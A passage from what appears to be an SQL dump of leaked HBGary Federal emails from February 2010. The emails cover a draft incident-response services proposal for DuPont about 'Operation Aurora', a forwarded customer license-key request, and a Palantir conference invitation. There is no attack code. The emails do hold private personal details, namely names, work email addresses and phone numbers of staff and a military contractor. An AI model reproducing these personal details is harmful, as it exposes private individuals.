<rich@hbgary.com>','/aaron@hbgary.com/new/1297001062.M770760P3547Q2326.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Services bullets to build on for Dupont Services Proposal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBob,\r\n\r\n&nbsp;\r\n\r\nPlease start grinding on this&#8230;.  I&#8217;m going to\r\ncall Phil and Aaron now to see if they have templates&#8230; ;)\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPhase 1:  Compromise Assessment Services:  This service\r\nfocuses on Distributed Host Physical Memory Analysis and Network Log Data\r\nAnalysis to identify indicators of compromise.  Should HBGary Professional\r\nServices identify indicators of a network intrusion or compromise then Phase 1\r\nservices can dove tail right into Phase 2 and Phase 3 Services.\r\n\r\n&nbsp;\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHost Analysis\r\n\r\no&nbsp;&nbsp;\r\nRemotely scan physical memory on Windows\r\nWorkstations and Servers to identify indicators of &#8220;Operation Aurora&#8221;,\r\nother malware and suspicious code\r\n\r\no&nbsp;&nbsp;\r\nDDNA Agent can be deployed using existing\r\nAltiris Enterprise Management Platform\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNetwork Data Analysis\r\n\r\no&nbsp;&nbsp;\r\nParse and Analyze Network Log Data:  Syslogs,\r\nFirewall Logs, DNS Logs, IDS Logs for indicators of compromise\r\n\r\no&nbsp;&nbsp;\r\nParse and Analyze Network Log Data for actionable\r\nintelligence should indicators of compromise be found\r\n\r\n&nbsp;\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMalware Analysis\r\n\r\no&nbsp;&nbsp;\r\nReverse Engineer malware to identify it&#8217;s capabilities\r\nto include:\r\n\r\n§&nbsp; Installation\r\nand Deployment Factors\r\n\r\n§&nbsp; Communication\r\nFactors\r\n\r\n§&nbsp; Information\r\nSecurity Factors \r\n\r\n§&nbsp; Defensive\r\nFactors\r\n\r\n§&nbsp; Development\r\nFactors\r\n\r\n§&nbsp; Command\r\nand Control Factors\r\n\r\no&nbsp;&nbsp;\r\nIntelligence found during Phase 1 will feed\r\nright into the Phase 2 Computer Forensic Analysis\r\n\r\nPhase 2:   Network Intrusion Investigation Services:  These computer\r\nforensic services focus on all aspects of hard drive collection, preservation\r\nand analysis.  \r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nForensic Preservation of computer hard drives that\r\nare suspected or confirmed to be compromised\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nForensic Analysis of all computer disks and\r\nfiles\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSearch for known attributes of &#8220;Operation\r\nAurora&#8221;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPhase 3:  Remediation Services:  Based on results of the\r\ninvestigation and findings, HBGary will present one or more courses of action\r\nto rapidly clean all machines of infection and become operational again.\r\n\r\n*Phase 3 can be part of Phase 2.\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBased on the analysis of the malware  &#8211; we\r\nwill determine the best course of remediation.  Keep in mind that some malware\r\ncannot be cleaned from machine.  In this case some machines might have to be\r\nwiped and rebuilt from scratch.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',620,'aaron_hbgary_com/620.html'),(2327,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001062.M958852P3547Q2327.eml','\"Ted Vera\" <ted@hbgary.com>','Phone call dropped','I am finishing up the consortium concept.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14081,'aaron_hbgary_com/14081.html'),(2328,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001063.M165426P3547Q2328.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Services bullets to build on for Dupont Services Proposal','From my iPhoneBegin forwarded message:From: &quot;Rich Cummings&quot; &lt;rich@hbgary.com&gt;\r\nDate: February 9, 2010 2:36:31 PM ESTTo: &quot;&#39;Bob Slapnik&#39;&quot; &lt;bob@hbgary.com&gt;, &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;, &quot;&#39;Phil Wallisch&#39;&quot; &lt;phil@hbgary.com&gt;\r\nCc: &lt;rich@hbgary.com&gt;Subject: Services bullets to build on for Dupont Services Proposal\r\n\r\n\r\n\r\n\r\nBob,\r\n\r\n \r\n\r\nPlease start grinding on this….  I’m going to\r\ncall Phil and Aaron now to see if they have templates… ;)\r\n\r\n \r\n\r\n \r\n\r\nPhase 1:  Compromise Assessment Services:  This service\r\nfocuses on Distributed Host Physical Memory Analysis and Network Log Data\r\nAnalysis to identify indicators of compromise.  Should HBGary Professional\r\nServices identify indicators of a network intrusion or compromise then Phase 1\r\nservices can dove tail right into Phase 2 and Phase 3 Services.\r\n\r\n \r\n\r\n·        \r\nHost Analysis\r\n\r\no  \r\nRemotely scan physical memory on Windows\r\nWorkstations and Servers to identify indicators of “Operation Aurora”,\r\nother malware and suspicious code\r\n\r\no  \r\nDDNA Agent can be deployed using existing\r\nAltiris Enterprise Management Platform\r\n\r\n·        \r\nNetwork Data Analysis\r\n\r\no  \r\nParse and Analyze Network Log Data:  Syslogs,\r\nFirewall Logs, DNS Logs, IDS Logs for indicators of compromise\r\n\r\no  \r\nParse and Analyze Network Log Data for actionable\r\nintelligence should indicators of compromise be found\r\n\r\n \r\n\r\n·        \r\nMalware Analysis\r\n\r\no  \r\nReverse Engineer malware to identify it’s capabilities\r\nto include:\r\n\r\n§  Installation\r\nand Deployment Factors\r\n\r\n§  Communication\r\nFactors\r\n\r\n§  Information\r\nSecurity Factors \r\n\r\n§  Defensive\r\nFactors\r\n\r\n§  Development\r\nFactors\r\n\r\n§  Command\r\nand Control Factors\r\n\r\no  \r\nIntelligence found during Phase 1 will feed\r\nright into the Phase 2 Computer Forensic Analysis\r\n\r\nPhase 2:   Network Intrusion Investigation Services:  These computer\r\nforensic services focus on all aspects of hard drive collection, preservation\r\nand analysis.  \r\n\r\n·        \r\nForensic Preservation of computer hard drives that\r\nare suspected or confirmed to be compromised\r\n\r\n·        \r\nForensic Analysis of all computer disks and\r\nfiles\r\n\r\n·        \r\nSearch for known attributes of “Operation\r\nAurora”\r\n\r\n \r\n\r\n \r\n\r\nPhase 3:  Remediation Services:  Based on results of the\r\ninvestigation and findings, HBGary will present one or more courses of action\r\nto rapidly clean all machines of infection and become operational again.\r\n\r\n*Phase 3 can be part of Phase 2.\r\n\r\n·        \r\nBased on the analysis of the malware  – we\r\nwill determine the best course of remediation.  Keep in mind that some malware\r\ncannot be cleaned from machine.  In this case some machines might have to be\r\nwiped and rebuilt from scratch.\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3662,'aaron_hbgary_com/3662.html'),(2329,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001063.M356564P3547Q2329.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark.trynor@gmail.com>','College Humor','These guys are just brilliant.\r\n\r\nhttp://www.youtube.com/user/collegehumor?blend=1&ob=4&rclk=cth\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15508,'aaron_hbgary_com/15508.html'),(2330,'2010-02-09','\"Matt O\'Flynn\" <matt@hbgary.com>','/aaron@hbgary.com/new/1297001063.M574448P3547Q2330.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: license key','Hey Aaron,\r\n\r\nFYI, this is based on my e-mail to my contacts there to get them to\r\nupgrade...curious since he is a contractor if he is with TASC...?\r\n\r\nBest,\r\n\r\nMatt\r\n\r\n\r\n-----Original Message-----\r\nFrom: HAMMACK, JACOB P CTR USAF AFSPC 92 IOS/MAF\r\n[mailto:jacob.hammack.ctr@us.af.mil] \r\nSent: Tuesday, February 09, 2010 2:52 PM\r\nTo: sales@hbgary.com\r\nSubject: license key\r\n\r\nHello,\r\n\r\nI am trying to use HB Gary 2.0 and the HB Gary Licensing program returns\r\nthis code 27739B59 and states that I should email you for an update.\r\n\r\n-Jacob\r\n\r\n',14592,'aaron_hbgary_com/14592.html'),(2331,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001063.M771594P3547Q2331.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Fwd: license key','Can you check if this is one of Jose guys?AaronBegin forwarded message:From: \"Matt O\'Flynn\" &lt;matt@hbgary.com&gt;Date: February 9, 2010 2:59:15 PM ESTTo: \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;Subject: FW: license keyHey Aaron,FYI, this is based on my e-mail to my contacts there to get them toupgrade...curious since he is a contractor if he is with TASC...?Best,Matt-----Original Message-----From: HAMMACK, JACOB P CTR USAF AFSPC 92 IOS/MAF[mailto:jacob.hammack.ctr@us.af.mil] Sent: Tuesday, February 09, 2010 2:52 PMTo: sales@hbgary.comSubject: license keyHello,I am trying to use HB Gary 2.0 and the HB Gary Licensing program returnsthis code 27739B59 and states that I should email you for an update.-Jacob\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11752,'aaron_hbgary_com/11752.html'),(2332,'2010-02-09','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297001063.M973805P3547Q2332.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','start with this template -','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBob,\r\n\r\n&nbsp;\r\n\r\nPlease take a look at this and follow the same &#8220;model&#8221;.&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\nThx,\r\n\r\nRich\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16712,'aaron_hbgary_com/16712.html'),(2333,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001064.M194478P3547Q2333.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Services bullets to build on for Dupont Services Proposal','Begin forwarded message:From: \"Rich Cummings\" &lt;rich@hbgary.com&gt;Date: February 9, 2010 2:36:31 PM ESTTo: \"\'Bob Slapnik\'\" &lt;bob@hbgary.com&gt;, \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;, \"\'Phil Wallisch\'\" &lt;phil@hbgary.com&gt;Cc: &lt;rich@hbgary.com&gt;Subject: Services bullets to build on for Dupont Services ProposalBob,&nbsp;Please start grinding on this…. &nbsp;I’m going to call Phil and Aaron now to see if they have templates… ;)&nbsp;&nbsp;Phase 1:&nbsp; Compromise Assessment Services:&nbsp; This service focuses on Distributed Host Physical Memory Analysis and Network Log Data Analysis to identify indicators of compromise.&nbsp; Should HBGary Professional Services identify indicators of a network intrusion or compromise then Phase 1 services can dove tail right into Phase 2 and Phase 3 Services.&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Host Analysiso&nbsp;&nbsp;&nbsp;Remotely scan physical memory on Windows Workstations and Servers to identify indicators of “Operation Aurora”, other malware and suspicious codeo&nbsp;&nbsp;&nbsp;DDNA Agent can be deployed using existing Altiris Enterprise Management Platform·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Network Data Analysiso&nbsp;&nbsp;&nbsp;Parse and Analyze Network Log Data:&nbsp; Syslogs, Firewall Logs, DNS Logs, IDS Logs for indicators of compromiseo&nbsp;&nbsp;&nbsp;Parse and Analyze Network Log Data for actionable intelligence should indicators of compromise be found&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Malware Analysiso&nbsp;&nbsp;&nbsp;Reverse Engineer malware to identify it’s capabilities to include:§&nbsp;&nbsp;Installation and Deployment Factors§&nbsp;&nbsp;Communication Factors§&nbsp;&nbsp;Information Security Factors§&nbsp;&nbsp;Defensive Factors§&nbsp;&nbsp;Development Factors§&nbsp;&nbsp;Command and Control Factorso&nbsp;&nbsp;&nbsp;Intelligence found during Phase 1 will feed right into the Phase 2 Computer Forensic AnalysisPhase 2:&nbsp; &nbsp;Network Intrusion Investigation Services:&nbsp; These computer forensic services focus on all aspects of hard drive collection, preservation and analysis. &nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Forensic Preservation of computer hard drives that are suspected or confirmed to be compromised·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Forensic Analysis of all computer disks and files·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Search for known attributes of “Operation Aurora”&nbsp;&nbsp;Phase 3:&nbsp; Remediation Services:&nbsp; Based on results of the investigation and findings, HBGary will present one or more courses of action to rapidly clean all machines of infection and become operational again.*Phase 3 can be part of Phase 2.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Based on the analysis of the malware &nbsp;– we will determine the best course of remediation.&nbsp; Keep in mind that some malware cannot be cleaned from machine.&nbsp; In this case some machines might have to be wiped and rebuilt from scratch.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1197,'aaron_hbgary_com/1197.html'),(2334,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001064.M471040P3547Q2334.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: start with this template -','\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Rich Cummings\" \r\n> Date: February 9, 2010 3:08:53 PM EST\r\n> To: \"\'Bob Slapnik\'\" , \"\'Aaron Barr\'\" \r\n> Cc: \"\'Phil Wallisch\'\" \r\n> Subject: start with this template - \r\n> \r\n> Bob,\r\n>  \r\n> Please take a look at this and follow the same “model”. \r\n>  \r\n> Thx,\r\n> Rich\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6691,'aaron_hbgary_com/6691.html'),(2335,'2010-02-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001064.M653318P3547Q2335.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: license key','Yup, it is.\r\n\r\nOn Tue, Feb 9, 2010 at 1:07 PM, Aaron Barr  wrote:\r\n> Can you check if this is one of Jose guys?\r\n> Aaron\r\n>\r\n> Begin forwarded message:\r\n>\r\n> From: \"Matt O\'Flynn\" \r\n> Date: February 9, 2010 2:59:15 PM EST\r\n> To: \"\'Aaron Barr\'\" \r\n> Subject: FW: license key\r\n>\r\n> Hey Aaron,\r\n>\r\n> FYI, this is based on my e-mail to my contacts there to get them to\r\n> upgrade...curious since he is a contractor if he is with TASC...?\r\n>\r\n> Best,\r\n>\r\n> Matt\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: HAMMACK, JACOB P CTR USAF AFSPC 92 IOS/MAF\r\n> [mailto:jacob.hammack.ctr@us.af.mil]\r\n> Sent: Tuesday, February 09, 2010 2:52 PM\r\n> To: sales@hbgary.com\r\n> Subject: license key\r\n>\r\n> Hello,\r\n>\r\n> I am trying to use HB Gary 2.0 and the HB Gary Licensing program returns\r\n> this code 27739B59 and states that I should email you for an update.\r\n>\r\n> -Jacob\r\n>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',3069,'aaron_hbgary_com/3069.html'),(2336,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001065.M438996P3547Q2337.eml','\"Matt O\'Flynn\" <matt@hbgary.com>','Fwd: license key','This is one of the TASC guys. &nbsp;We have pretty good relationships with these folks if that is at all helpful to you.AaronBegin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;Date: February 9, 2010 3:09:38 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: license keyYup, it is.On Tue, Feb 9, 2010 at 1:07 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Can you check if this is one of Jose guys?AaronBegin forwarded message:From: \"Matt O\'Flynn\" &lt;matt@hbgary.com&gt;Date: February 9, 2010 2:59:15 PM ESTTo: \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;Subject: FW: license keyHey Aaron,FYI, this is based on my e-mail to my contacts there to get them toupgrade...curious since he is a contractor if he is with TASC...?Best,Matt-----Original Message-----From: HAMMACK, JACOB P CTR USAF AFSPC 92 IOS/MAF[mailto:jacob.hammack.ctr@us.af.mil]Sent: Tuesday, February 09, 2010 2:52 PMTo: sales@hbgary.comSubject: license keyHello,I am trying to use HB Gary 2.0 and the HB Gary Licensing program returnsthis code 27739B59 and states that I should email you for an update.-JacobAaron BarrCEOHBGary Federal Inc.-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',465,'aaron_hbgary_com/465.html'),(2337,'2010-02-09','\"Matt O\'Flynn\" <matt@hbgary.com>','/aaron@hbgary.com/new/1297001065.M640896P3547Q2338.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: license key','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  1024x768\r\n \r\n\r\n \r\n  Clean\r\n  \r\n  \r\n  \r\n  \r\n  false\r\n  false\r\n  false\r\n  \r\n  EN-US\r\n  X-NONE\r\n  X-NONE\r\n  \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n  \r\n  MicrosoftInternetExplorer4\r\n  \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n  \r\n\r\n \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n /* Style Definitions */ \r\n table.MsoNormalTable\r\n	{mso-style-name:\"Table Normal\";\r\n	mso-tstyle-rowband-size:0;\r\n	mso-tstyle-colband-size:0;\r\n	mso-style-noshow:yes;\r\n	mso-style-priority:99;\r\n	mso-style-qformat:yes;\r\n	mso-style-parent:\"\";\r\n	mso-padding-alt:0in 5.4pt 0in 5.4pt;\r\n	mso-para-margin:0in;\r\n	mso-para-margin-bottom:.0001pt;\r\n	mso-pagination:widow-orphan;\r\n	font-size:10.0pt;\r\n	font-family:\"Times New Roman\",\"serif\";}\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAt this point it won&#8217;t\r\nhelp, just wanted to keep you in the loop&#8230;right now just trying to ensure\r\nwe get his upgrade working&#8230;.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBest,\r\n\r\n&nbsp;\r\n\r\nMatt\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 09, 2010 3:11 PM\r\nTo: Matt O\'Flynn\r\nSubject: Fwd: license key\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThis\r\nis one of the TASC guys. &nbsp;We have pretty good relationships with these\r\nfolks if that is at all helpful to you.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin\r\nforwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate: February 9, 2010 3:09:38 PM EST\r\n\r\n\r\n\r\n\r\n\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject: Re: license key\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYup,\r\nit is.\r\n\r\nOn Tue, Feb 9, 2010 at 1:07 PM, Aaron Barr &lt;aaron@hbgary.com&gt;\r\nwrote:\r\n\r\n\r\n\r\nCan\r\nyou check if this is one of Jose guys?\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBegin\r\nforwarded message:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;Matt O\'Flynn&quot; &lt;matt@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nFebruary 9, 2010 2:59:15 PM EST\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\n&quot;\'Aaron Barr\'&quot; &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nFW: license key\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHey\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFYI,\r\nthis is based on my e-mail to my contacts there to get them to\r\n\r\n\r\n\r\n\r\n\r\nupgrade...curious\r\nsince he is a contractor if he is with TASC...?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-----Original\r\nMessage-----\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nHAMMACK, JACOB P CTR USAF AFSPC 92 IOS/MAF\r\n\r\n\r\n\r\n\r\n\r\n[mailto:jacob.hammack.ctr@us.af.mil]\r\n\r\n\r\n\r\n\r\n\r\nSent:\r\nTuesday, February 09, 2010 2:52 PM\r\n\r\n\r\n\r\n\r\n\r\nTo: sales@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nlicense key\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHello,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am\r\ntrying to use HB Gary 2.0 and the HB Gary Licensing program returns\r\n\r\n\r\n\r\n\r\n\r\nthis\r\ncode 27739B59 and states that I should email you for an update.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Jacob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1194,'aaron_hbgary_com/1194.html'),(2338,'2010-02-09','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297001065.M94567P3547Q2336.eml','','5th Palantir Government Conference','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI would like to personally invite you to Palantir\r\nTechnologies&#8217; 5th Government Conference to be held on 7 April\r\n2010.&nbsp; The conference will feature presentations and live demos by customers\r\nand Palantir staff as well as breakout sessions covering a wide array of\r\ntopics.&nbsp; Additionally, on-site training for analysts, developers, or anyone\r\ninterested in putting their hands on the platform will be taking place\r\nthroughout the day.\r\n\r\n&nbsp;\r\n\r\nThe 5th Palantir Government Conference will be a\r\ngreat way to learn more about the Palantir platform as well as see what is new\r\nsince the last conference in October 2009.&nbsp; Current customers, potential\r\ncustomers, and partners will be in attendance.&nbsp; Take advantage of the\r\nconference as a forum to meet and network with hundreds of your colleagues from\r\naround the Intelligence and Defense communities.&nbsp; Nearly 600 guests attended\r\nthe last conference and we are expecting even more in April!\r\n\r\n&nbsp;\r\n\r\nThe relevant links to register and find more info are:\r\n\r\n&nbsp;\r\n\r\nRSVP: http://palantirtech.eventbrite.com/\r\n\r\nMore info: http://www.palantirtech.com/government/conference\r\n\r\n&nbsp;\r\n\r\nPLEASE FEEL FREE TO FORWARD THESE LINKS TO ANY OF YOUR\r\nCOLLEAGUES.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n&nbsp;\r\n\r\np.s. Some of you might get a second invite, I&#8217;ll do my\r\nbest to remove you from the bulk list so this doesn&#8217;t happen.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',939,'aaron_hbgary_com/939.html'),(2339,'2010-02-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001069.M220320P3547Q2339.eml','jeff.l.jeffers@lmco.com,jeff.l.jeffers@lmco.com','Uno - HBGary capabilities brief','Hello Jeff,\r\n\r\nAaron Barr (cc\'d) and I would like to schedule some time with the Uno\r\nPM to provide an updated HBGary capabilities brief.  Is that possible?\r\n Attached is a draft HBGary analysis of Aurora, which demonstrates\r\nsome of our malware reverse engineering and threat analysis\r\ncapabilities.  Consider it a sneak preview, it will be publicly\r\nreleased later this week.\r\n\r\nRegards,\r\nTed Vera\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',13919,'aaron_hbgary_com/13919.html'),(2340,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001069.M476994P3547Q2340.eml','\"Matt O\'Flynn\" <matt@hbgary.com>','Re: license key','Cool. &nbsp;So these are the guys we are trying to work out a solution to churn through their 20K pieces of Malware, might get some services work, we will see. &nbsp;We are also teaming with them on the 90th RFP and MacB. &nbsp;This will certainly lead to some services work and product sales assuming we win.AaronOn Feb 9, 2010, at 3:12 PM, Matt O\'Flynn wrote:At this point it won’t help, just wanted to keep you in the loop…right now just trying to ensure we get his upgrade working….&nbsp;Best,&nbsp;Matt&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, February 09, 2010 3:11 PMTo:&nbsp;Matt O\'FlynnSubject:&nbsp;Fwd: license key&nbsp;This is one of the TASC guys. &nbsp;We have pretty good relationships with these folks if that is at all helpful to you.&nbsp;Aaron&nbsp;Begin 